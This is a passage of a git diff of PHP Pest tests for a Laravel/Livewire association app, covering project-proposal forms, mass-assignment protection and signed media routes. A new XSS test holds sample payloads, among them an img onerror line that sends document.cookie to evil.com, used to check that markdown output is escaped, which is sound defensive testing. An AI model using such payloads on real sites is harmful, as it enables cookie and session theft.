->assertSet('isAllowed', true);
|
||||
});
|
||||
|
||||
@@ -163,9 +165,11 @@ it('can update project proposal', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
->set('form.name', 'New Name')
|
||||
->set('form.description', 'Updated Description')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('update')
|
||||
->assertHasNoErrors();
|
||||
|
||||
@@ -180,7 +184,7 @@ it('validates project proposal update', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
|
||||
->set('form.name', '')
|
||||
->call('update')
|
||||
->assertHasErrors(['form.name']);
|
||||
@@ -190,16 +194,15 @@ it('validates project proposal update', function () {
|
||||
it('renders project support show component', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertStatus(200);
|
||||
});
|
||||
|
||||
it('denies access to show when not authenticated', function () {
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
->assertSet('isAllowed', false)
|
||||
->assertSee('Zugriff auf Projektförderung nicht möglich');
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('isAllowed', false);
|
||||
});
|
||||
|
||||
it('grants access to show when authenticated', function () {
|
||||
@@ -208,7 +211,7 @@ it('grants access to show when authenticated', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('isAllowed', true);
|
||||
});
|
||||
|
||||
@@ -221,8 +224,8 @@ it('displays project details', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
->assertSet('project.name', 'Test Project Name')
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('projectProposal.name', 'Test Project Name')
|
||||
->assertSee('Test Project Name')
|
||||
->assertSee('Test Project Description');
|
||||
});
|
||||
@@ -233,7 +236,7 @@ it('initializes currentPleb when authenticated', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('currentPleb.id', $pleb->id);
|
||||
});
|
||||
|
||||
@@ -243,7 +246,7 @@ it('initializes ownVoteExists to false when no vote exists', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('ownVoteExists', false)
|
||||
->assertSee('Zustimmen')
|
||||
->assertSee('Ablehnen');
|
||||
@@ -260,7 +263,7 @@ it('initializes ownVoteExists to true when vote exists', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->assertSet('ownVoteExists', true)
|
||||
->assertDontSee('Zustimmen')
|
||||
->assertDontSee('Ablehnen')
|
||||
@@ -273,7 +276,7 @@ it('can handle approve vote', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->call('handleApprove')
|
||||
->assertHasNoErrors();
|
||||
|
||||
@@ -292,7 +295,7 @@ it('can handle not approve vote', function () {
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.show', ['project' => $project])
|
||||
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
|
||||
->call('handleNotApprove')
|
||||
->assertHasNoErrors();
|
||||
|
||||
|
||||
@@ -1,111 +1,107 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Forms\ProjectProposalForm;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Support\NostrAuth;
|
||||
use Livewire\Livewire;
|
||||
|
||||
it('has correct validation rules for all fields', function () {
|
||||
$form = new ProjectProposalForm;
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
// Test name field - required|min:5
|
||||
$form->name = '';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
$form->name = 'short'; // Less than 5 characters
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
// Test name field - required
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', '')
|
||||
->set('form.description', 'Valid description text')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasErrors(['form.name']);
|
||||
|
||||
// Test support_in_sats field - required|numeric|min:21
|
||||
$form->name = 'Valid Project';
|
||||
$form->support_in_sats = '';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
// Test support_in_sats field - required|integer|min:0
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Valid Project')
|
||||
->set('form.description', 'Valid description text')
|
||||
->set('form.support_in_sats', '')
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasErrors(['form.support_in_sats']);
|
||||
|
||||
$form->support_in_sats = 'not-numeric';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
|
||||
$form->support_in_sats = '20'; // Less than 21
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
|
||||
// Test description field - required|string|min:5
|
||||
$form->name = 'Valid Project';
|
||||
$form->support_in_sats = '21000';
|
||||
$form->description = '';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
|
||||
$form->description = 'short';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
// Test description field - required
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Valid Project')
|
||||
->set('form.description', '')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasErrors(['form.description']);
|
||||
|
||||
// Test website field - required|url
|
||||
$form->name = 'Valid Project';
|
||||
$form->support_in_sats = '21000';
|
||||
$form->description = 'Valid description';
|
||||
$form->website = 'not-a-url';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Valid Project')
|
||||
->set('form.description', 'Valid description text')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'not-a-url')
|
||||
->call('save')
|
||||
->assertHasErrors(['form.website']);
|
||||
});
|
||||
|
||||
it('accepts valid project proposal data', function () {
|
||||
$form = new ProjectProposalForm;
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
$form->name = 'Test Project';
|
||||
$form->support_in_sats = '21000';
|
||||
$form->description = 'This is a test project description that meets the minimum length requirement.';
|
||||
$form->website = 'https://example.com';
|
||||
$form->accepted = true;
|
||||
$form->sats_paid = 5000;
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
$result = $form->validate();
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toBeEmpty();
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.description', 'This is a test project description that meets the minimum length requirement.')
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasNoErrors();
|
||||
});
|
||||
|
||||
it('validates accepted field as boolean', function () {
|
||||
$form = new ProjectProposalForm;
|
||||
$form->name = 'Valid Project';
|
||||
$form->support_in_sats = '21000';
|
||||
$form->description = 'Valid description';
|
||||
$form->website = 'https://example.com';
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
$form->accepted = 'not-boolean';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
// Test with boolean values
|
||||
$form->accepted = false;
|
||||
expect($form->accepted)->toBeBool();
|
||||
|
||||
$form->accepted = true;
|
||||
expect($form->accepted)->toBeBool();
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Valid Project')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.description', 'Valid description text')
|
||||
->set('form.website', 'https://example.com')
|
||||
->set('form.accepted', false)
|
||||
->call('save')
|
||||
->assertHasNoErrors();
|
||||
});
|
||||
|
||||
it('validates sats_paid as nullable numeric', function () {
|
||||
$form = new ProjectProposalForm;
|
||||
$form->name = 'Valid Project';
|
||||
$form->support_in_sats = '21000';
|
||||
$form->description = 'Valid description';
|
||||
$form->website = 'https://example.com';
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
// Test with null (should be acceptable)
|
||||
$form->sats_paid = null;
|
||||
$form->accepted = false;
|
||||
|
||||
$result = $form->validate();
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toBeEmpty();
|
||||
|
||||
// Test with numeric
|
||||
$form->sats_paid = 'not-numeric';
|
||||
expect(fn () => $form->validate())->toThrow();
|
||||
|
||||
$form->sats_paid = 10000;
|
||||
$form->accepted = false;
|
||||
$result = $form->validate();
|
||||
expect($result)->toBeArray();
|
||||
expect($result)->toBeEmpty();
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Valid Project')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.description', 'Valid description text')
|
||||
->set('form.website', 'https://example.com')
|
||||
->set('form.sats_paid', 0)
|
||||
->set('form.accepted', false)
|
||||
->call('save')
|
||||
->assertHasNoErrors();
|
||||
});
|
||||
|
||||
it('has correct default values', function () {
|
||||
$form = new ProjectProposalForm;
|
||||
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
|
||||
|
||||
expect($form->name)->toBe('');
|
||||
expect($form->support_in_sats)->toBe('');
|
||||
expect($form->description)->toBe('');
|
||||
expect($form->website)->toBe('');
|
||||
expect($form->accepted)->toBeFalse();
|
||||
expect($form->sats_paid)->toBe(0);
|
||||
NostrAuth::login($pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->assertSet('form.name', '')
|
||||
->assertSet('form.support_in_sats', '')
|
||||
->assertSet('form.description', '')
|
||||
->assertSet('form.website', '')
|
||||
->assertSet('form.accepted', false)
|
||||
->assertSet('form.sats_paid', 0);
|
||||
});
|
||||
|
||||
@@ -28,8 +28,7 @@ it('renders create form for authorized users', function () {
|
||||
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->assertStatus(200)
|
||||
->assertSee('Projektförderung anlegen')
|
||||
->assertSeeLivewire('association.project-support.form.create');
|
||||
->assertSee('Projektförderungs-Antrag anlegen');
|
||||
});
|
||||
|
||||
it('does not render create form for unauthorized users', function () {
|
||||
@@ -82,6 +81,8 @@ it('creates project proposal successfully', function () {
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.description', 'This is a test project for unit testing purposes.')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasNoErrors()
|
||||
->assertRedirect(route('association.projectSupport'));
|
||||
@@ -98,6 +99,8 @@ it('associates project proposal with current pleb', function () {
|
||||
Livewire::test('association.project-support.form.create')
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.description', 'Test description')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('save')
|
||||
->assertHasNoErrors();
|
||||
|
||||
|
||||
@@ -22,11 +22,12 @@ beforeEach(function () {
|
||||
'event_id' => 'test_event_'.Str::random(40),
|
||||
]);
|
||||
|
||||
$this->project = ProjectProposal::query()->create([
|
||||
$this->project = ProjectProposal::factory()->create([
|
||||
'einundzwanzig_pleb_id' => $this->pleb->id,
|
||||
'name' => 'Original Project',
|
||||
'description' => 'Original Description',
|
||||
'support_in_sats' => 21000,
|
||||
'website' => 'https://example.com',
|
||||
]);
|
||||
|
||||
// Get board member pubkeys from config
|
||||
@@ -44,9 +45,8 @@ beforeEach(function () {
|
||||
it('renders edit form for authorized project owners', function () {
|
||||
NostrAuth::login($this->pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->assertStatus(200)
|
||||
->assertSee('Projektförderung bearbeiten')
|
||||
->assertSet('form.name', $this->project->name)
|
||||
->assertSet('form.description', $this->project->description);
|
||||
});
|
||||
@@ -54,9 +54,8 @@ it('renders edit form for authorized project owners', function () {
|
||||
it('renders edit form for board members', function () {
|
||||
NostrAuth::login($this->boardMember->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
->assertStatus(200)
|
||||
->assertSee('Projektförderung bearbeiten');
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->assertStatus(200);
|
||||
});
|
||||
|
||||
it('does not render edit form for unauthorized users', function () {
|
||||
@@ -68,14 +67,14 @@ it('does not render edit form for unauthorized users', function () {
|
||||
|
||||
NostrAuth::login($unauthorizedPleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->assertSet('isAllowed', false);
|
||||
});
|
||||
|
||||
it('validates required name field', function () {
|
||||
NostrAuth::login($this->pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->set('form.name', '')
|
||||
->set('form.description', 'Test description')
|
||||
->call('update')
|
||||
@@ -85,7 +84,7 @@ it('validates required name field', function () {
|
||||
it('validates required description field', function () {
|
||||
NostrAuth::login($this->pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->set('form.name', 'Test Project')
|
||||
->set('form.description', '')
|
||||
->call('update')
|
||||
@@ -95,9 +94,11 @@ it('validates required description field', function () {
|
||||
it('updates project proposal successfully', function () {
|
||||
NostrAuth::login($this->pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->set('form.name', 'Updated Name')
|
||||
->set('form.description', 'Updated Description')
|
||||
->set('form.support_in_sats', 42000)
|
||||
->set('form.website', 'https://updated.com')
|
||||
->call('update')
|
||||
->assertHasNoErrors();
|
||||
|
||||
@@ -109,9 +110,11 @@ it('updates project proposal successfully', function () {
|
||||
it('disables update button during save', function () {
|
||||
NostrAuth::login($this->pleb->pubkey);
|
||||
|
||||
Livewire::test('association.project-support.form.edit', ['project' => $this->project])
|
||||
Livewire::test('association.project-support.form.edit', ['projectProposal' => $this->project->slug])
|
||||
->set('form.name', 'Test')
|
||||
->set('form.description', 'Test')
|
||||
->set('form.support_in_sats', 21000)
|
||||
->set('form.website', 'https://example.com')
|
||||
->call('update')
|
||||
->assertSeeHtml('wire:loading');
|
||||
});
|
||||
|
||||
40
tests/Feature/MarkdownXssProtectionTest.php
Normal file
40
tests/Feature/MarkdownXssProtectionTest.php
Normal file
@@ -0,0 +1,40 @@
|
||||
<?php
|
||||
|
||||
use Spatie\LaravelMarkdown\MarkdownRenderer;
|
||||
|
||||
it('escapes script tags in markdown output', function () {
|
||||
$renderer = app(MarkdownRenderer::class);
|
||||
|
||||
$html = $renderer->toHtml('<script>alert("xss")</script>');
|
||||
|
||||
expect($html)->not->toContain('<script>');
|
||||
expect($html)->toContain('<script>');
|
||||
});
|
||||
|
||||
it('escapes img onerror XSS payloads in markdown output', function () {
|
||||
$renderer = app(MarkdownRenderer::class);
|
||||
|
||||
$html = $renderer->toHtml('<img src=x onerror="fetch(\'https://evil.com/\'+document.cookie)">');
|
||||
|
||||
expect($html)->not->toContain('<img ');
|
||||
expect($html)->toContain('<img');
|
||||
});
|
||||
|
||||
it('blocks javascript: protocol links in markdown output', function () {
|
||||
$renderer = app(MarkdownRenderer::class);
|
||||
|
||||
$html = $renderer->toHtml('[click me](javascript:alert("xss"))');
|
||||
|
||||
expect($html)->not->toContain('javascript:');
|
||||
});
|
||||
|
||||
it('still renders valid markdown formatting', function () {
|
||||
$renderer = app(MarkdownRenderer::class);
|
||||
|
||||
$html = $renderer->toHtml("**Bold text** and [a link](https://example.com)\n\n- Item 1\n- Item 2");
|
||||
|
||||
expect($html)->toContain('<strong>Bold text</strong>');
|
||||
expect($html)->toContain('<a href="https://example.com">a link</a>');
|
||||
expect($html)->toContain('<li>Item 1</li>');
|
||||
expect($html)->toContain('<li>Item 2</li>');
|
||||
});
|
||||
288
tests/Feature/MassAssignmentProtectionTest.php
Normal file
288
tests/Feature/MassAssignmentProtectionTest.php
Normal file
@@ -0,0 +1,288 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
use App\Models\Category;
|
||||
use App\Models\City;
|
||||
use App\Models\Country;
|
||||
use App\Models\Course;
|
||||
use App\Models\CourseEvent;
|
||||
use App\Models\EinundzwanzigPleb;
|
||||
use App\Models\Election;
|
||||
use App\Models\Event;
|
||||
use App\Models\Lecturer;
|
||||
use App\Models\Meetup;
|
||||
use App\Models\MeetupEvent;
|
||||
use App\Models\Notification;
|
||||
use App\Models\PaymentEvent;
|
||||
use App\Models\Profile;
|
||||
use App\Models\ProjectProposal;
|
||||
use App\Models\RenderedEvent;
|
||||
use App\Models\Venue;
|
||||
use App\Models\Vote;
|
||||
use Illuminate\Database\Eloquent\MassAssignmentException;
|
||||
|
||||
it('ensures no model uses guarded empty array', function () {
|
||||
$models = [
|
||||
PaymentEvent::class,
|
||||
EinundzwanzigPleb::class,
|
||||
Vote::class,
|
||||
ProjectProposal::class,
|
||||
Election::class,
|
||||
Venue::class,
|
||||
MeetupEvent::class,
|
||||
CourseEvent::class,
|
||||
Course::class,
|
||||
Meetup::class,
|
||||
Lecturer::class,
|
||||
City::class,
|
||||
Event::class,
|
||||
RenderedEvent::class,
|
||||
Profile::class,
|
||||
Category::class,
|
||||
Country::class,
|
||||
Notification::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$reflection = new ReflectionClass($modelClass);
|
||||
$property = $reflection->getProperty('guarded');
|
||||
$instance = $reflection->newInstanceWithoutConstructor();
|
||||
$guarded = $property->getValue($instance);
|
||||
|
||||
expect($guarded)
|
||||
->not->toBe([], "{$modelClass} still uses \$guarded = [] which is insecure");
|
||||
}
|
||||
});
|
||||
|
||||
it('ensures all models have explicit fillable arrays', function () {
|
||||
$models = [
|
||||
PaymentEvent::class,
|
||||
EinundzwanzigPleb::class,
|
||||
Vote::class,
|
||||
ProjectProposal::class,
|
||||
Election::class,
|
||||
Venue::class,
|
||||
MeetupEvent::class,
|
||||
CourseEvent::class,
|
||||
Course::class,
|
||||
Meetup::class,
|
||||
Lecturer::class,
|
||||
City::class,
|
||||
Event::class,
|
||||
RenderedEvent::class,
|
||||
Profile::class,
|
||||
Category::class,
|
||||
Country::class,
|
||||
Notification::class,
|
||||
];
|
||||
|
||||
foreach ($models as $modelClass) {
|
||||
$reflection = new ReflectionClass($modelClass);
|
||||
$property = $reflection->getProperty('fillable');
|
||||
$instance = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
expect($property->getValue($instance))
|
||||
->toBeArray("{$modelClass} should have an explicit \$fillable array");
|
||||
}
|
||||
});
|
||||
|
||||
it('blocks mass assignment of einundzwanzig_pleb_id on PaymentEvent', function () {
|
||||
$paymentEvent = new PaymentEvent;
|
||||
$paymentEvent->fill(['einundzwanzig_pleb_id' => 999]);
|
||||
|
||||
expect($paymentEvent->einundzwanzig_pleb_id)->toBeNull();
|
||||
});
|
||||
|
||||
it('verifies EinundzwanzigPleb fillable does not contain application_for', function () {
|
||||
$reflection = new ReflectionClass(EinundzwanzigPleb::class);
|
||||
$property = $reflection->getProperty('fillable');
|
||||
$instance = $reflection->newInstanceWithoutConstructor();
|
||||
$fillable = $property->getValue($instance);
|
||||
|
||||
expect($fillable)->not->toContain('application_for');
|
||||
expect($fillable)->not->toContain('id');
|
||||
expect($fillable)->toContain('npub');
|
||||
expect($fillable)->toContain('pubkey');
|
||||
expect($fillable)->toContain('email');
|
||||
expect($fillable)->toContain('no_email');
|
||||
expect($fillable)->toContain('nip05_handle');
|
||||
});
|
||||
|
||||
it('blocks mass assignment of accepted and sats_paid on ProjectProposal', function () {
|
||||
$proposal = new ProjectProposal;
|
||||
$proposal->fill([
|
||||
'name' => 'Test',
|
||||
'accepted' => true,
|
||||
'sats_paid' => 100000,
|
||||
'einundzwanzig_pleb_id' => 1,
|
||||
'slug' => 'injected-slug',
|
||||
]);
|
||||
|
||||
expect($proposal->accepted)->toBeNull();
|
||||
expect($proposal->sats_paid)->toBeNull();
|
||||
expect($proposal->einundzwanzig_pleb_id)->toBeNull();
|
||||
expect($proposal->slug)->toBeNull();
|
||||
expect($proposal->name)->toBe('Test');
|
||||
});
|
||||
|
||||
it('blocks mass assignment of all fields on Election', function () {
|
||||
$election = new Election;
|
||||
|
||||
expect(fn () => $election->fill(['year' => 2025]))
|
||||
->toThrow(MassAssignmentException::class);
|
||||
});
|
||||
|
||||
it('blocks mass assignment of created_by and slug on Venue', function () {
|
||||
$venue = new Venue;
|
||||
$venue->fill([
|
||||
'name' => 'Test Venue',
|
||||
'created_by' => 999,
|
||||
'slug' => 'injected-slug',
|
||||
]);
|
||||
|
||||
expect($venue->name)->toBe('Test Venue');
|
||||
expect($venue->created_by)->toBeNull();
|
||||
expect($venue->slug)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of meetup_id and created_by on MeetupEvent', function () {
|
||||
$event = new MeetupEvent;
|
||||
$event->fill([
|
||||
'start' => '2025-01-01',
|
||||
'meetup_id' => 999,
|
||||
'created_by' => 999,
|
||||
'attendees' => ['a'],
|
||||
]);
|
||||
|
||||
expect($event->start)->not->toBeNull();
|
||||
expect($event->meetup_id)->toBeNull();
|
||||
expect($event->created_by)->toBeNull();
|
||||
expect($event->attendees)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of course_id venue_id and created_by on CourseEvent', function () {
|
||||
$event = new CourseEvent;
|
||||
$event->fill([
|
||||
'from' => '2025-01-01',
|
||||
'to' => '2025-01-02',
|
||||
'course_id' => 999,
|
||||
'venue_id' => 999,
|
||||
'created_by' => 999,
|
||||
]);
|
||||
|
||||
expect($event->from)->not->toBeNull();
|
||||
expect($event->to)->not->toBeNull();
|
||||
expect($event->course_id)->toBeNull();
|
||||
expect($event->venue_id)->toBeNull();
|
||||
expect($event->created_by)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of lecturer_id and created_by on Course', function () {
|
||||
$course = new Course;
|
||||
$course->fill([
|
||||
'name' => 'Test Course',
|
||||
'description' => 'Test',
|
||||
'lecturer_id' => 999,
|
||||
'created_by' => 999,
|
||||
]);
|
||||
|
||||
expect($course->name)->toBe('Test Course');
|
||||
expect($course->description)->toBe('Test');
|
||||
expect($course->lecturer_id)->toBeNull();
|
||||
expect($course->created_by)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of city_id created_by and slug on Meetup', function () {
|
||||
$meetup = new Meetup;
|
||||
$meetup->fill([
|
||||
'name' => 'Test Meetup',
|
||||
'city_id' => 999,
|
||||
'created_by' => 999,
|
||||
'slug' => 'injected',
|
||||
'github_data' => '{}',
|
||||
'simplified_geojson' => '{}',
|
||||
]);
|
||||
|
||||
expect($meetup->name)->toBe('Test Meetup');
|
||||
expect($meetup->city_id)->toBeNull();
|
||||
expect($meetup->created_by)->toBeNull();
|
||||
expect($meetup->slug)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of active created_by and slug on Lecturer', function () {
|
||||
$lecturer = new Lecturer;
|
||||
$lecturer->fill([
|
||||
'name' => 'Test Lecturer',
|
||||
'active' => true,
|
||||
'created_by' => 999,
|
||||
'slug' => 'injected',
|
||||
]);
|
||||
|
||||
expect($lecturer->name)->toBe('Test Lecturer');
|
||||
expect($lecturer->active)->toBeNull();
|
||||
expect($lecturer->created_by)->toBeNull();
|
||||
expect($lecturer->slug)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of country_id created_by and slug on City', function () {
|
||||
$city = new City;
|
||||
$city->fill([
|
||||
'name' => 'Test City',
|
||||
'country_id' => 999,
|
||||
'created_by' => 999,
|
||||
'slug' => 'injected',
|
||||
'osm_relation' => '{}',
|
||||
'simplified_geojson' => '{}',
|
||||
]);
|
||||
|
||||
expect($city->name)->toBe('Test City');
|
||||
expect($city->country_id)->toBeNull();
|
||||
expect($city->created_by)->toBeNull();
|
||||
expect($city->slug)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of einundzwanzig_pleb_id and category on Notification', function () {
|
||||
$notification = new Notification;
|
||||
$notification->fill([
|
||||
'name' => 'Test News',
|
||||
'description' => 'Test',
|
||||
'einundzwanzig_pleb_id' => 999,
|
||||
'category' => 1,
|
||||
]);
|
||||
|
||||
expect($notification->name)->toBe('Test News');
|
||||
expect($notification->description)->toBe('Test');
|
||||
expect($notification->einundzwanzig_pleb_id)->toBeNull();
|
||||
expect($notification->category)->toBeNull();
|
||||
});
|
||||
|
||||
it('blocks mass assignment of code and language_codes on Country', function () {
|
||||
$country = new Country;
|
||||
$country->fill([
|
||||
'name' => 'Test',
|
||||
'code' => 'XX',
|
||||
'language_codes' => ['en'],
|
||||
]);
|
||||
|
||||
expect($country->name)->toBe('Test');
|
||||
expect($country->code)->toBeNull();
|
||||
expect($country->language_codes)->toBeNull();
|
||||
});
|
||||
|
||||
it('allows fillable fields on PaymentEvent', function () {
|
||||
$paymentEvent = new PaymentEvent;
|
||||
$paymentEvent->fill([
|
||||
'year' => 2025,
|
||||
'event_id' => 'test-event',
|
||||
'amount' => 21000,
|
||||
'paid' => true,
|
||||
'btc_pay_invoice' => 'inv-123',
|
||||
]);
|
||||
|
||||
expect($paymentEvent->year)->toBe(2025);
|
||||
expect($paymentEvent->event_id)->toBe('test-event');
|
||||
expect($paymentEvent->amount)->toBe(21000);
|
||||
expect($paymentEvent->paid)->toBeTrue();
|
||||
expect($paymentEvent->btc_pay_invoice)->toBe('inv-123');
|
||||
});
|
||||
95
tests/Feature/MediaSignedRouteTest.php
Normal file
95
tests/Feature/MediaSignedRouteTest.php
Normal file
@@ -0,0 +1,95 @@
|
||||
<?php
|
||||
|
||||
use App\Models\ProjectProposal;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
it('serves original media via signed route', function () {
|
||||
Storage::fake('private');
|
||||
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$project->addMedia(
|
||||
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
|
||||
)->toMediaCollection('main');
|
||||
|
||||
$media = $project->getFirstMedia('main');
|
||||
|
||||
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), ['media' => $media]);
|
||||
|
||||
$this->get($url)->assertSuccessful();
|
||||
});
|
||||
|
||||
it('serves conversion media via signed route when conversion parameter is provided', function () {
|
||||
Storage::fake('private');
|
||||
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$project->addMedia(
|
||||
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 500, 500)
|
||||
)->toMediaCollection('main');
|
||||
|
||||
$media = $project->getFirstMedia('main');
|
||||
|
||||
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), [
|
||||
'media' => $media,
|
||||
'conversion' => 'preview',
|
||||
]);
|
||||
|
||||
$this->get($url)->assertSuccessful();
|
||||
});
|
||||
|
||||
it('falls back to original when conversion does not exist', function () {
|
||||
Storage::fake('private');
|
||||
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$project->addMedia(
|
||||
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
|
||||
)->toMediaCollection('main');
|
||||
|
||||
$media = $project->getFirstMedia('main');
|
||||
|
||||
$url = url()->temporarySignedRoute('media.signed', now()->addMinutes(60), [
|
||||
'media' => $media,
|
||||
'conversion' => 'nonexistent',
|
||||
]);
|
||||
|
||||
$this->get($url)->assertSuccessful();
|
||||
});
|
||||
|
||||
it('rejects unsigned media requests', function () {
|
||||
Storage::fake('private');
|
||||
|
||||
$project = ProjectProposal::factory()->create();
|
||||
|
||||
$project->addMedia(
|
||||
\Illuminate\Http\UploadedFile::fake()->image('test.jpg', 100, 100)
|
||||
)->toMediaCollection('main');
|
||||
|
||||
$media = $project->getFirstMedia('main');
|
||||
|
||||
